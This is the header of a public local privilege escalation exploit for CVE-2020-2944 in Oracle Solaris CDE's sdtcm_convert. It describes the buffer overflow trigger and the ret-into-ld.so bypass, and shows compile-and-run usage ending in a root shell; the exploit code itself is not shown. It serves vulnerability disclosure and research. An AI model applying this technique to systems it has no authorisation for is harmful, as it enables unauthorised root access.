# Title: Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation
# Date: 2020-04-21
# Author: Marco Ivaldi
# Vendor: www.oracle.com
# CVE: CVE-2020-2944

/*
 * raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel
 * Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * A buffer overflow in the _SanityCheck() function in the Common Desktop
 * Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and
 * earlier allows local users to gain root privileges via a long calendar name
 * or calendar owner passed to sdtcm_convert in a malicious calendar file
 * (CVE-2020-2944).
 *
 * The open source version of CDE (based on the CDE 2.x codebase) is not
 * affected, because it does not ship the vulnerable binary.
 *
 * "CDE, the gift that keeps on giving" -- @0xdea
 * "Feels more like a curse you can't break from this side." -- @alanc
 *
 * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack
 * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory
 * space, try returning to sprintf() instead of strcpy().
 *
 * I haven't written a Solaris/SPARC version because I don't have a SPARC box
 * on which Solaris 10 can run. If anybody is kind enough to give me access to
 * such a box, I'd be happy to port my exploit to Solaris/SPARC as well.
 *
 * Usage:
 * $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall
 * $ ./raptor_sdtcm_conv
 * [...]
 * Do you want to correct it? (Y/N) [Y] n
 * # id
 * uid=0(root) gid=1(other) egid=12(daemon)
 * #
 *
 * This should work with any common configuration on the first try. To
 * re-enable rpc.cmsd, clear its service maintenance status by running the
 * following commands as root:
 * # /usr/sbin/svcadm clear cde-calendar-manager
 * # /usr/bin/svcs -a | grep calendar
 * online         13:16:54 svc:/network/rpc/cde-calendar-manager:default
 *
 * Tested on:
 * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
 * [previous Solaris versions are also likely vulnerable]
